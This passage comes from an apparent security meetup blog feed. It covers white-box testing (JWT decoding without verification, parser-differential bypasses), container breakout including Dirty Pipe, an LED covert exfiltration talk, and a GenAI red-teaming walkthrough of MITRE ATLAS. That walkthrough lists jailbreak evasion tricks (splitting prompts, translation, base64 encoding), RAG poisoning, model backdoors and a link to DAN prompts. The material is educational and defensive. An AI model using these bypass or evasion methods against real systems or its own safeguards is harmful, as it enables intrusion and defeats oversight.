<li><p>For example: A code snippet which decodes JWT Token is given below</p>
<pre><code class="lang-java">  <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">getUsername</span><span class="hljs-params">(String token)</span></span>{
      <span class="hljs-keyword">try</span> {
          DecodedJWT jwt = JWT.decode(token);
          <span class="hljs-keyword">return</span> jwt.getClaim(<span class="hljs-string">"username"</span>).asString();
      }
      <span class="hljs-keyword">catch</span> (JWTDecodeException e){
          <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
      }
  }
</code></pre>
</li>
<li><p>In the above snippet, the method takes a JWT token, tries to decode it, and fetches the <code>"username"</code> field. If decoding fails, it returns <code>null</code>.</p>
</li>
<li><p>However, this code only decodes the token; it does not verify the signature or check expiry, and therefore should not be used for authentication by itself. Such code can escape the scrutiny of SAST scanners, as they are often not focused on the nuances of authentication.</p>
</li>
<li><p>The remediation is shown in the snippet below:</p>
<pre><code class="lang-java">  DecodedJWT jwt = JWT.decode(token); 
  DecodedJWT jwt = JWT.require(Algorithm.HMAC256(secret)).build().verify(token);
</code></pre>
</li>
<li><p>The first line just <strong>decodes</strong> the JWT without validation, while the second line <strong>verifies the token’s signature and integrity using the secret key</strong>.</p>
</li>
<li><p>The above snippet validates the cryptographic signature, rejects altered tokens, enforces the algorithm parameter, and prevents <code>none</code> algorithm attacks.</p>
</li>
<li><p>A Real World Example would be the below CVE:</p>
<ul>
<li><p><strong>Gitlab 2022 JWT Flaw - CVSS 9.9</strong></p>
<ul>
<li><a target="_blank" href="https://about.gitlab.com/releases/2022/03/31/critical-security-release-gitlab-14-9-2-released">https://about.gitlab.com/releases/2022/03/31/critical-security-release-gitlab-14-9-2-released</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="heading-the-whitebox-lie-whitebox-advantage">The Whitebox Lie → Whitebox Advantage</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Myths</strong></td></tr>
</thead>
<tbody>
<tr>
<td>WhiteBox = SAST + Compliance ❌</td></tr>
<tr>
<td>Slow Development ❌</td></tr>
</tbody>
</table>
</div><p><strong>Reality:</strong><br />Whitebox is <strong>architectural X-ray</strong>. Done right, it <strong>deletes bug classes</strong> (auth mistakes, parser traps, transitive risk) and speeds teams up by preventing redesigns later.</p>
<h3 id="heading-attack-surface-in-white-box-testing">Attack Surface in White Box Testing</h3>
<ul>
<li><p>As most new infrastructure relies on old technology buried deep within layers of libraries, a vulnerability in even one of those libraries can put the entire system at risk.</p>
</li>
<li><p>The attack surface extends beyond what is visible to the human eye or to SAST scans. Here are ways to dig deeper into those hidden layers:</p>
<ul>
<li><p><strong>Dependency Autopsy:</strong> The process of analyzing and investigating software dependencies to uncover vulnerabilities, risks, or failures after an incident. Even if direct dependencies appear safe, a vulnerable package buried several layers deep (a dependency of a dependency) can serve as a hidden attack vector.</p>
<ul>
<li><p>Run deep trees (<code>npm ls --depth 10</code>, language equivalents).</p>
</li>
<li><p>Flag packages with old release cadences, open vulns, or abandoned repos.</p>
</li>
</ul>
</li>
<li><p><strong>Dependency Surgery:</strong> The process of identifying, isolating, and removing vulnerable or unnecessary software dependencies to eliminate potential attack paths. This involves cutting out risky dependencies from the software stack to neutralize threats.</p>
</li>
<li><p><strong>Secrets Archaeology:</strong> The practice of systematically uncovering hardcoded credentials, API keys, tokens, and other sensitive information hidden within source code, repositories, or configuration files, often buried deep in version history or dependencies.</p>
<ul>
<li><p>Hunt with <code>git log -S 'AKIA'</code> (AWS) or org-specific patterns.</p>
</li>
<li><p>Automate in CI to alert + revoke.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="heading-defenses-in-white-box-testing">Defenses in White Box Testing</h3>
<ul>
<li><p><strong>Entropy-as-Code</strong> → Ensure randomness/security features are programmatically enforced.</p>
</li>
<li><p><strong>Honeytrap Logging</strong> → Plant deceptive traces that alert you if someone is probing the system. eg: canary tokens</p>
</li>
</ul>
<h3 id="heading-core-techniques-in-white-box-testing">Core Techniques in White Box Testing</h3>
<ul>
<li><p><strong>Field Manipulation</strong></p>
<ul>
<li><p>Start by manipulating request parameters to attempt unauthorised actions.</p>
</li>
<li><p>Example: Modify JSON fields or inject extra parameters to bypass normal logic.</p>
</li>
</ul>
</li>
<li><p><strong>Case Sensitivity Bypass</strong></p>
<ul>
<li><p>Test if changing the case of field names affects validation.</p>
</li>
<li><p>Example: <code>AdminAction</code> vs <code>adminAction</code> vs <code>ADMINACTION</code>.</p>
</li>
</ul>
</li>
<li><p><strong>Parser Differentials</strong></p>
<ul>
<li><p>Check how different back-end services interpret conflicting input.</p>
</li>
<li><p>Example with <strong>multi-service architecture</strong>:</p>
<ul>
<li><p><strong>Go</strong> → Uses the <strong>last value</strong> of a repeated field (<code>adminAction</code>).</p>
</li>
<li><p><strong>Python</strong> → Uses the <strong>first value</strong> (<code>userAction</code>).</p>
</li>
</ul>
</li>
<li><p>Exploit the inconsistency to bypass authorization.</p>
</li>
<li><p><a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc8259">RFC 8259</a> allows duplicates; behavior is <strong>implementation-dependent</strong>. Many parsers keep the <strong>last</strong> value; some error; some keep all.</p>
</li>
</ul>
</li>
<li><p><strong>Format Confusion</strong></p>
<ul>
<li><p>Send a request in a format that the system partially understands but misinterprets.</p>
</li>
<li><p>Example: Force a <strong>JSON response</strong>, but send a request in <strong>XML shaped like JSON</strong>.</p>
</li>
<li><p>Goal: Trigger parsing inconsistencies or bypass validation layers.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-operationalizing-white-box">Operationalizing White Box</h3>
<ul>
<li><p><strong>Policy-as-code:</strong> Semgrep custom rules, CodeQL queries, IaC checks.</p>
</li>
<li><p><strong>Pipelines:</strong> Pre-commit hooks → PR checks → required status → nightly sweeps.</p>
</li>
<li><p><strong>Playbooks:</strong> Keep a repo of rules/queries and a “fix-once” mindset (when a bug appears, add a rule so it never returns).</p>
</li>
</ul>
<h3 id="heading-attack-chain-in-white-box-testing">Attack Chain in White Box Testing</h3>
<ul>
<li><p>Scan the code base with rules (both default and custom rules).</p>
</li>
<li><p>If a vulnerability is spotted, craft payloads for that vulnerability.</p>
</li>
<li><p>If a defense is present, bypass the defense in the code base.</p>
</li>
</ul>
<hr />
<h2 id="heading-container-security">Container Security</h2>
<h3 id="heading-what-do-containers-do">What do Containers do?</h3>
<ul>
<li><p><strong>Isolation:</strong> Keeping Your Code Safe from Other Processes</p>
</li>
<li><p><strong>Portability:</strong> Moving Applications Across Platforms</p>
</li>
<li><p><strong>Allows Scalability:</strong> Handling Increased Demand</p>
</li>
</ul>
<h3 id="heading-how-virtualization-happens-in-containers">How Virtualization happens in Containers?</h3>
<ul>
<li><p><strong>Are Docker &amp; Kubernetes the only type of containers?</strong></p>
<ul>
<li>No, there are many like podman, LXC, runc, containerd, BSD jail</li>
</ul>
</li>
<li><p><strong>What separates them from VMs?</strong></p>
<ul>
<li><p>The fact that they share the host machines kernel</p>
</li>
<li><p>Containers are pure software virtualisation which allows faster boot</p>
</li>
<li><p>Any hardware device is virtualised in VM’s &amp; they give dummy values</p>
</li>
</ul>
</li>
<li><p><strong>How do docker containers create this separation?</strong></p>
<ul>
<li>Docker daemon → containerd runtime → runc (low level runtime) → namespaces</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756405255802/5347854c-06e1-4bb7-849a-7974cee4ab2b.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-what-are-namespaces-and-cgroups">What are namespaces and cgroups?</h3>
<ul>
<li><p><strong>What are namespaces?</strong></p>
<ul>
<li><p>Namespace is a linux kernel feature that allows creating isolated views on the<br />  following types of resources (currently there are 8 types)</p>
<ul>
<li><p>time</p>
</li>
<li><p>user</p>
</li>
<li><p>pid</p>
</li>
<li><p>mnt</p>
</li>
<li><p>net</p>
</li>
<li><p>ipc</p>
</li>
<li><p>uts</p>
</li>
<li><p>cgroups</p>
</li>
</ul>
</li>
<li><p>Lets understand some of them:</p>
<ul>
<li><p>time - Allows different namespaces to have separate boot and monotonic clocks, enabling time virtualization within containers</p>
</li>
<li><p>user - Isolates user and group IDs. A process can have root privileges in its user namespace but not in others</p>
</li>
<li><p>pid - Gives each namespace its own set of process IDs. Processes in one PID namespace can only see other processes in the same namespace</p>
</li>
<li><p>mnt - Oldest ns in linux allows different views of file hierarchy similar to chroot jails (but more secure)</p>
</li>
<li><p>net - Provides each namespace with its own network stack, including interfaces, IP addresses, routing tables, and firewall rules</p>
</li>
<li><p>ipc - Security oriented namespace - prevents unauth processes from accessing/destroying the inter process comm (ipc) via segregation</p>
</li>
<li><p>uts - Allows each namespace to have unique host and domain names (hostname isolation)</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>What are cgroups?</strong></p>
<ul>
<li>They act like virtual "cages" for processes, enabling resource management and control by partitioning and restricting access to system resources such as CPU, memory, disk I/O, and network</li>
</ul>
</li>
</ul>
<h3 id="heading-what-is-the-meaning-of-root-in-container">What is the meaning of root in container?</h3>
<ul>
<li><p>A container can have an internal <code>root</code> process but won’t be privileged without setting the --privileged flag</p>
</li>
<li><p>For a Non Privileged Container</p>
<ul>
<li><p>The processes in the container maps to normal user processes on the host machine, hence don’t have the privilege to perform many attacks</p>
</li>
<li><p>The root user within the container will be unable to mount host files into the container/load kernel modules</p>
</li>
<li><p>It is still recommended to run as non-root if your application doesn’t have a usecase for it. This reduces the risk of any kernel vulnerability from being abused &amp; the container from being further compromised</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-standard-container-breakout">Standard Container Breakout</h3>
<ul>
<li><p>To understand the type of permissions once has, one can try</p>
<ul>
<li><p>Installing packages into the container (possible if container root)</p>
</li>
<li><p>Check if the host file system is mounted to the containers, with privileged one should have write access to it</p>
</li>
<li><p>Running <code>capsh --print</code> to get all the container capabilties on the host machine listed</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-dirty-pipe-container-breakout">Dirty Pipe Container Breakout</h3>
<ul>
<li><p>DirtyPipe vulnerability is a kernel level bug that allows a malicious user to write files to a read-only file system. When data is loaded in memory it is done so using pages.</p>
</li>
<li><p>Using the <code>PIPE_BUF_FLAG_CAN_MERGE</code> pipe flag to a user can force their mal data into memory &amp; use the <code>splice</code> syscall to write it to target destination.</p>
</li>
</ul>
<h3 id="heading-securing-your-containers">Securing Your Containers</h3>
<ul>
<li><p><strong>Best Practices</strong></p>
<ul>
<li><p>Always use <strong>trusted images</strong> from verified sources</p>
</li>
<li><p>Ensure <strong>regular updates</strong> to maintain security</p>
</li>
<li><p>Conduct <strong>scanning for vulnerabilities</strong> consistently</p>
</li>
</ul>
</li>
<li><p><strong>Additional Measures</strong></p>
<ul>
<li><p>Implement strict <strong>access controls</strong> for users</p>
</li>
<li><p>Utilize <strong>network segmentation</strong> for isolation</p>
</li>
<li><p>Monitor <strong>container activity</strong> for anomalies</p>
</li>
</ul>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[June Meetup Highlights]]></title><description><![CDATA[BreachForce’s June edition bought 2 talks.

NaughtyMag: Making Macbook Blink Its Data Away  by Adhokshaj Mishra

Securing the Mind of Machines : GenAI Security & Trust Frameworks  by Harsh Tandel


Naughty Mag
Overview:

A side-channel attack that tu...]]></description><link>https://breachforce.net/june-highlights</link><guid isPermaLink="true">https://breachforce.net/june-highlights</guid><category><![CDATA[#MagSafe Exploits]]></category><category><![CDATA[#LED Covert Channels]]></category><category><![CDATA[#MacBook Security]]></category><category><![CDATA[#GenAI Security]]></category><category><![CDATA[#OWASP LLM Top 10]]></category><category><![CDATA[#AI Trust Frameworks]]></category><category><![CDATA[#BreachForce Meetup]]></category><category><![CDATA[Side channel attacks]]></category><category><![CDATA[AI red teaming ]]></category><category><![CDATA[Data Poisoning]]></category><category><![CDATA[breachforce]]></category><dc:creator><![CDATA[Kaustubh Rai]]></dc:creator><pubDate>Sat, 28 Jun 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/k06emqjiB7M/upload/a492b036cbc88f0ece0de22e031f0c8c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>BreachForce’s June edition bought 2 talks.</p>
<ul>
<li><p><strong>NaughtyMag: Making Macbook Blink Its Data Away</strong><br />  <em>by Adhokshaj Mishra</em></p>
</li>
<li><p><strong>Securing the Mind of Machines : GenAI Security &amp; Trust Frameworks</strong><br />  <em>by Harsh Tandel</em></p>
</li>
</ul>
<h2 id="heading-naughty-mag">Naughty Mag</h2>
<h3 id="heading-overview">Overview:</h3>
<ul>
<li><p>A side-channel attack that turns Apple’s MagSafe LED indicator into a data exfiltration device..</p>
</li>
<li><p><strong>What are Side Channel Attacks?</strong> Software can control LED status using SMC to indicate color change if battery over 80%</p>
</li>
<li><p>The LED, usually meant to indicate charging status (amber/green), can be modulated to transmit data covertly</p>
</li>
</ul>
<h3 id="heading-key-concepts">Key Concepts:</h3>
<p><strong>🔌 MagSafe Connection Points:</strong></p>
<ul>
<li><p>Uses its own protocol</p>
</li>
<li><p><strong>Pinout:</strong></p>
<ul>
<li><p>Ground</p>
</li>
<li><p>Power</p>
</li>
<li><p>Adapter Sense</p>
</li>
</ul>
</li>
<li><p><strong>1-wire protocol:</strong> computer ↔ cable ↔ charger (powerbrick)</p>
</li>
<li><p>All communicate with each other to negotiate power</p>
</li>
<li><p>Also lets them control which connectors are manufacture supported</p>
</li>
<li><p><strong>Integrated Circuit DS24123:</strong> Can take command over 1-wire from Macbook and change LED status</p>
</li>
</ul>
<blockquote>
<p>⚠Note: The IC involved is not widely documented</p>
</blockquote>
<h3 id="heading-how-control-works">How Control Works</h3>
<ul>
<li><p><strong>Charger Startup:</strong></p>
<ul>
<li><p>Charger provides very low current initially</p>
</li>
<li><p>Why negotiation works first - then fails</p>
</li>
<li><p>Initial creators - which created the ability to change MagSafe charger color.</p>
<ul>
<li><p><a target="_blank" href="https://apphousekitchen.com/aldente-overview/features/#control-magsafe-led">https://apphousekitchen.com/aldente-overview/features/#control-magsafe-led</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/AppHouseKitchen/AlDente-Charge-Limiter">https://github.com/AppHouseKitchen/AlDente-Charge-Limiter</a></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Control of the MagSafe LED is software-driven, but routed through</p>
<ul>
<li><p>The SMC (System Management Controller).</p>
</li>
<li><p>Can be manipulated using the SMC API, which documents key</p>
<p>  values for LED control.</p>
</li>
</ul>
</li>
<li><p>Attackers can:</p>
<ul>
<li><p>Use software tools or custom scripts (several emerged from</p>
<p>  GitHub issues).</p>
</li>
<li><p>Leverage I/O Kit on macOS to interface with the hardware.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-exfiltration-method">Exfiltration Method:</h3>
<ul>
<li><p>LED controls can be toggled with precision:</p>
</li>
<li><p>Requires:</p>
<ul>
<li><p>Precise control of on/off timing</p>
</li>
<li><p>Understanding of data encoding methods</p>
</li>
</ul>
</li>
</ul>
<p><strong>Encoding Challenges:</strong></p>
<ul>
<li><p>Simple binary (e.g., 0000 or 1111) can lead to ambiguity in timing- based detection.</p>
</li>
<li><p>Manchester Encoding may be needed to avoid repetition ambiguity</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751179469587/cdd13c4f-3b0e-493b-9cea-c26b5f4df481.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Morse code is a viable fallback for slower but clearer data transmission.</p>
<ul>
<li><p>Don't need rising/falling edge</p>
</li>
<li><p>only need steady state</p>
</li>
<li><p>New encoding to not be dependent on time</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-limitations">Limitations</h3>
<ul>
<li><p>Color masking is not feasible (LED has limited colors).</p>
</li>
<li><p>Can be detected via High-Security Monitoring (HSM).</p>
</li>
<li><p>Could be made stealthier by tuning antenna properties of the wire (convert power cable into low-range antenna).</p>
</li>
</ul>
<h3 id="heading-counter-measures">Counter Measures</h3>
<ul>
<li><p>Channels require software side component</p>
</li>
<li><p>Monitor end user devices</p>
</li>
<li><p>Be aware of such potential attacks</p>
</li>
</ul>
<h3 id="heading-related-concepts">Related Concepts:</h3>
<ul>
<li><p>Read Morris Mano - Digital Electronics</p>
</li>
<li><p>Why Manchester encoding can't work for discrete waves. Digital Electronics &amp; Computer Architecture (background needed)</p>
</li>
<li><p>macOS IOKit, SMC APIs</p>
</li>
</ul>
<hr />
<h2 id="heading-securing-the-mind-of-machines"><strong>Securing the Mind of Machines</strong></h2>
<p>Talk covered the evolving threat landscape around Generative AI.</p>
<ul>
<li><p>The expanding attack surface of GenAI systems and MCP servers</p>
</li>
<li><p>The MITRE ATLAS threat framework for AI</p>
</li>
<li><p>OWASP Top 10 for LLMs</p>
</li>
</ul>
<p><strong>Key Points Discussed:</strong></p>
<ul>
<li><p>Prompt Injection</p>
</li>
<li><p>Data Poisoning &amp; Model Leakage</p>
</li>
<li><p>Jailbreaking via DAN-style prompts</p>
</li>
<li><p>RAG (Retrieval-Augmented Generation) manipulation</p>
</li>
</ul>
<p><strong>Defense Techniques:</strong></p>
<ul>
<li><p>Responsible AI and Secure AI frameworks (Google SAIF, NIST RMF)</p>
</li>
<li><p>Guardrails, Meta Prompts, DSPM</p>
</li>
<li><p>ISO standards for AI management (42001, 27563)</p>
</li>
</ul>
<p>How red teamers can practice attacks against GenAI systems and what compliance &amp; trust mechanisms are beginning to emerge in the field</p>
<p>This <a target="_blank" href="https://breachforce.net/ai-attack-defend"><strong>blog</strong></a> discusses the topics covered during the session.</p>
]]></content:encoded></item><item><title><![CDATA[Securing The Mind of Machines]]></title><description><![CDATA[Basic Terminology
Neural Network: A neural network is a deep learning technique designed to resemble the structure of the human brain. It requires large data sets to perform calculations and create outputs, which enables features like speech and visi...]]></description><link>https://breachforce.net/ai-attack-defend</link><guid isPermaLink="true">https://breachforce.net/ai-attack-defend</guid><category><![CDATA[genai]]></category><category><![CDATA[AI red teaming ]]></category><category><![CDATA[llm security]]></category><category><![CDATA[MLSecOps]]></category><category><![CDATA[mcp server]]></category><category><![CDATA[mitre-attack]]></category><category><![CDATA[OWASP TOP 10]]></category><category><![CDATA[#responsibleai]]></category><category><![CDATA[guardrails]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[llm]]></category><dc:creator><![CDATA[Harsh Tandel]]></dc:creator><pubDate>Fri, 20 Jun 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/hRvwEsrBY94/upload/12009cb351524b7aa950284d0af85968.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-basic-terminology"><strong>Basic Terminology</strong></h3>
<p><strong>Neural Network</strong>: A neural network is a deep learning technique designed to resemble the structure of the human brain. It requires large data sets to perform calculations and create outputs, which enables features like speech and vision recognition.</p>
<p><strong>Natural Language Processing (NLP)</strong>: A field of AI that enables computers to understand and generate human language.</p>
<p><strong>Machine Learning (ML)</strong>: A subset of AI that focuses on algorithms that can learn from data without explicit programming. Federated learning is a machine learning technique that allows multiple entities to collaboratively train a model without sharing their raw data.</p>
<p><strong>Deep learning</strong> : Deep learning is a subset of machine learning that focuses on utilizing multilayered neural networks to perform tasks such as classification, regression, and representation learning.</p>
<p><strong>Large Language Model (LLM)</strong>: A type of AI model that is trained on large amounts of text data to generate human-like text.</p>
<p><strong>Retrieval-Augmented Generation (RAG)</strong>: It is a technique that enhances the accuracy and relevance of large language model (LLM) responses by integrating them with external knowledge sources.</p>
<p><strong>Conventional AI:</strong> AI also known as narrow or weak AI, is designed for specialized tasks. Conventional AI relies heavily on data-driven processes, leveraging algorithms and ML techniques to perform tasks.</p>
<p><strong>Agentic AI</strong>: Agentic AI refers to AI systems capable of autonomous action, decision-making, and adaptation without constant human supervision</p>
<p><strong>Generative AI(Gen AI):</strong> AI that can generate new content like text, images, or code.below is the basic architecture of typical Gen AI.</p>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*1w6Y6p-A31_6JWZFJJ4e6Q.jpeg" alt /></p>
<h3 id="heading-why-gen-ai-security">Why Gen AI Security ?</h3>
<p>● Everyone is using Gen AI to create arts, make decisions, enhance their side projects. Every firm is rushing to integrate AI in their products and systems. It is making it crucial to consider it’s security. AI Models and MCP Servers expand the new attack surface, vulnerabilities beyond traditional codes.</p>
<p>● The generative AI market is experiencing rapid growth, with a projected market size of $66.89 billion in 2025 and a forecasted compound annual growth rate (CAGR) of 36.99% between 2025 and 2031, leading to a market volume of $442.07 billion by 2031.</p>
<p>● A study by <a target="_blank" href="https://www.menlosecurity.com/press-releases/menlo-security-reports-that-55-of-generative-ai-inputs-contained-sensitive-and-personally-identifiable-information">Menlo Security</a> showed that 55% of inputs to generative AI tools contain sensitive or personally identifiable information (PII), and found a recent increase of 80% in uploads of files to generative AI tools, which raises the risk of private data exposure.</p>
<p>● <a target="_blank" href="https://www.gartner.com/en/newsroom/press-releases/2025-02-17-gartner-predicts-forty-percent-of-ai-data-breaches-will-arise-from-cross-border-genai-misuse-by-2027">Gartner Press Release, “Gartner Predicts 40% of AI Data Breaches Will Arise from Cross-Border GenAI Misuse by 2027,” February 17, 2025.</a></p>
<p>● Generative AI (GenAI) red teaming is crucial for identifying and mitigating vulnerabilities in AI systems before they can be exploited by malicious actors. By simulating attacks and adversarial scenarios, it helps strengthen the security and reliability of AI models, ensuring they are robust and trustworthy.</p>
<h3 id="heading-mitre-atlas-adversarial-threat-landscape-for-ai-systems"><strong>MITRE ATLAS - Adversarial Threat Landscape for AI Systems</strong></h3>
<p><img src="https://cdn-images-1.medium.com/max/1500/1*pBaeqQaor6vn81HwduUDcw.png" alt /></p>
<p><strong>Reconnaissance :</strong> We will search and gather details about model’s architecture, code repository,API and genesis model documentations.We will scan the it’s MCP server, code, Client facing interface and APIs.</p>
<p><strong>Resource Development :</strong> For devlopment of the payload we will check the ML artifacts, sample dataset and prompt if available, create account or access demo or UAT and based on that craft the prompts, publish malicious dataset, hallucinated entities/entries that can be fetched by MCP server and sent by RAG.</p>
<p><strong>Initial Access :</strong> Hardware or software like MLOps platforms, data&amp; model management software, GPU Hardware, Model hubs that is used in AI systems might be compromised or misconfigured. Other way is creating account into AI model.</p>
<p><strong>ML Model Access :</strong> We can access the API interface which provide results from ML model to Gen AI or try accessing into ML model service providers like AWS SageMaker, Google Cloud Vertex AI, Microsoft Azure ML, IBM Watson, OCI AI Services.</p>
<p><strong>Execution :</strong> Execute the malicious ML artifacts or say use exploit the vulnerability in ML model, supply chain, configuration or it’s API. Execute the malicious prompt or script also we can compromise the LLM plugin.</p>
<p><strong>Persistence :</strong> To make our access persistent we may craft backdoor in ML Model itself, execute the self replicating prompt injection or we can poison the RAG or Dataset used for Gen AI Model.</p>
<p><strong>Privilege Escalation</strong> : To escalate privilege we have to jailbreak the model and go beyond manufacture restriction and get admin or developer rights/access. Other case is we compromise LLM plugin and which define what data will be presented or what will be final outcome/decision.That enables us to manipulate the output and behaviour of model.</p>
<p><strong>Defense Evasion:</strong> There might be some defensive mechanism implemented in some model we need to evade it with different approaches.</p>
<ul>
<li>Obfuscation of Prompt by breaking it into multiple instructions(multiton prompt),</li>
</ul>
<ul>
<li>Giving prompt in different languages like Hindi, Spanish, Mandarin, Arabic and later translating output.</li>
</ul>
<ul>
<li>Changing format of prompt like sending it in base 64, URL encoding, MD5 Hash.</li>
</ul>
<ul>
<li><p>Scenario based fine tuning or fine tuning with instructions.</p>
</li>
<li><p>RAG model Injection with false information, user links and knowledge injection or via prompt manipulation for injecting false Entries into RAG.</p>
</li>
</ul>
<p>Other is LLM Jailbreak and LLM output component like API or plugin manipulation.</p>
<p><strong>Credentials Access :</strong> During the process till now we might have created or identified any unsecured or guessable credentials to access model, dataset or services.</p>
<p><strong>Discovery :</strong> Once we get access into model or service we try to identify family of ML model, get model system information, ML artifacts, model ontology and check for hallucination of LLM and AI model Output.</p>
<p><strong>Collection :</strong> After discovery collect data from repositories, data from local system, ML artifact collections.</p>
<p><strong>ML Attack Staging :</strong> Create proxy model(we can use service like <a target="_blank" href="https://ollama.com">ollama</a>). Craft malicious data and backdoor into the ML model and verify attack.</p>
<p><strong>Exfiltration :</strong> Exfiltrate data via ML interface APIs, output of system LLM prompt, LLM Data and other system details.</p>
<p><strong>Impact :</strong> Denial of Service of ML Model, Evading and spamming ML model, impact of integrity of dataset and ML model.</p>
<p>And This is the brief of MITRE ATLAS Framwork and it’s technique for execution Red Teaming AI models.</p>
<h2 id="heading-owasp-top-10-for-gen-ai-and-llm">OWASP Top 10 for Gen AI and LLM</h2>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*vB2VUQQp494rbgSHHcWSQA.png" alt /></p>
<p>Lets look at OWASP Top 10 for Gen AI and LLM which list out most found vulnerabilities on Gen AI and LLM Models</p>
<p><strong>Prompt Injection</strong> : Prompt Injection Vulnerability occurs when an attacker manipulates a large language model (LLM) through crafted inputs, causing the LLM to unknowingly execute the attacker’s intentions.</p>
<p><strong>Sensitive Information Disclosure</strong> : Sensitive information can affect both the LLM and its application context. This includes personal identifiable information (PII), financial details, health records, confidential business data, security credentials, and legal documents.</p>
<p><strong>Supply Chain</strong> : LLM supply chains are susceptible to various vulnerabilities, which can affect the integrity of training data, models, and deployment platforms. These risks can result in biased outputs, security breaches, or system failures.</p>
<p><strong>Data and Model Poisoning</strong> : Data poisoning occurs when pre-training, fine-tuning, or embedding data is manipulated to introduce vulnerabilities, backdoors, or biases. This manipulation can compromise model security, performance, or ethical behavior, leading to harmful outputs or impaired capabilities.</p>
<p><strong>Improper Output Handling</strong> : Improper Output Handling refers specifically to insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems.</p>
<p>Since LLM-generated content can be controlled by prompt input, this behaviour is similar to providing users indirect access to additional functionality.</p>
<p><strong>Excessive Agency</strong> : An LLM-based system is often granted a degree of agency by its developer ;  the ability to call functions or interface with other systems via extensions (sometimes referred to as tools, skills or plugins by different vendors) to undertake actions in response to a prompt.</p>
<p>The decision over which extension to invoke may also be delegated to an LLM ‘<em>agent</em>’ to dynamically determine based on input prompt or LLM output. Agent-based systems will typically make repeated calls to an LLM using output from previous invocations to ground and direct subsequent invocations.</p>
<p><strong>System Prompt Leakage</strong> :The system prompt leakage vulnerability in LLMs refers to the risk that the system prompts or instructions used to steer the behavior of the model can also contain sensitive information that was not intended to be discovered.</p>
<p>System prompts are designed to guide the model’s output based on the requirements of the application, but may inadvertently contain secrets. When discovered, this information can be used to facilitate other attacks.</p>
<p><strong>Vector and Embedding Weaknesses</strong> : Vectors and embeddings vulnerabilities present significant security risks in systems utilising Retrieval Augmented Generation (RAG) with Large Language Models (LLMs).</p>
<p>Weaknesses in how vectors and embeddings are generated, stored, or retrieved can be exploited by malicious actions (intentional or unintentional) to inject harmful content, manipulate model outputs, or access sensitive information.</p>
<p><strong>Misinformation</strong> : Misinformation from LLMs poses a core vulnerability for applications relying on these models. Misinformation occurs when LLMs produce false or misleading information that appears credible. This vulnerability can lead to security breaches, reputational damage, and legal liability.</p>
<p><strong>Unbounded Consumption</strong> : Unbounded Consumption refers to the process where a Large Language Model (LLM) generates outputs based on input queries or prompts. Inference is a critical function of LLMs, involving the application of learned patterns and knowledge to produce relevant responses or predictions.</p>
<h3 id="heading-vulnerabilties-to-focus-during-red-teamig-llm"><strong>Vulnerabilties to focus during Red Teamig LLM</strong></h3>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*FFjFgeGUQHXMe9AqHfQ87A.png" alt /></p>
<p><strong>• Prompt Injection:</strong> Tricking the model into breaking its rules or leaking sensitive information.</p>
<p><strong>• Bias and Toxicity:</strong> Generating harmful, offensive or unfair outputs.</p>
<p><strong>• Data Leakage:</strong> Extracting private information or intellectual property from the model.</p>
<p><strong>• Data Poisoning:</strong> Manipulating the training data that a model learns from to cause it to behave in undesirable ways.</p>
<p><strong>• Hallucinations:</strong> The model confidently provides false information.</p>
<p><strong>• Agentic Vulnerabilities:</strong> Complex attacks on AI “agents” that combine multiple tools and decision making steps.</p>
<ul>
<li><p><strong>Supply Chain Risks:</strong> Risks that stem from the complex, interconnected processes and interdependencies that contribute to the creation, maintenance, and use of models.</p>
</li>
<li><p><strong>Jailbreaking:</strong> Jailbreaking is the process of utilizing specific prompt structures,input patterns,or contextual cues to bypass the built-in restrictions or safety measures of LLMs.</p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/coolaj86/6f4f7b30129b0251f61fa7baaa881516"><strong>DAN</strong></a> (Do anything) Jailbreak prompts</p>
</li>
<li><p><a target="_blank" href="https://github.com/confident-ai/deepteam"><strong>DeepTeam</strong></a> (The LLM Red Teaming open-source Framework)</p>
</li>
<li><p><a target="_blank" href="https://www.harmbench.org"><strong>Harm Bench</strong></a> (A Standardized Evaluation Framework for Automated Red Teaming)</p>
</li>
<li><p><a target="_blank" href="https://www.harmbench.org/playground">Play Ground</a></p>
</li>
<li><p><strong>Challange :</strong> <a target="_blank" href="https://prompting.ai.immersivelabs.com">Immersive GPT</a></p>
</li>
</ul>
<h3 id="heading-framework-standards-and-laws-for-ai"><strong>Framework, Standards and Laws for AI</strong></h3>
<h4 id="heading-framework">Framework</h4>
<ul>
<li><p><strong>Responsible AI (RAI)</strong>: focuses on developing and deploying AI systems that are ethical, transparent, and aligned with human values, prioritizing fairness, accountability, and respect for privacy.</p>
</li>
<li><p><strong>Google’s Secure AI Framework (SAIF)</strong> : Google’s <a target="_blank" href="https://safety.google/cybersecurity-advancements/saif/">SAIF</a> is a conceptual framework designed to help organizations build and deploy secure AI systems</p>
</li>
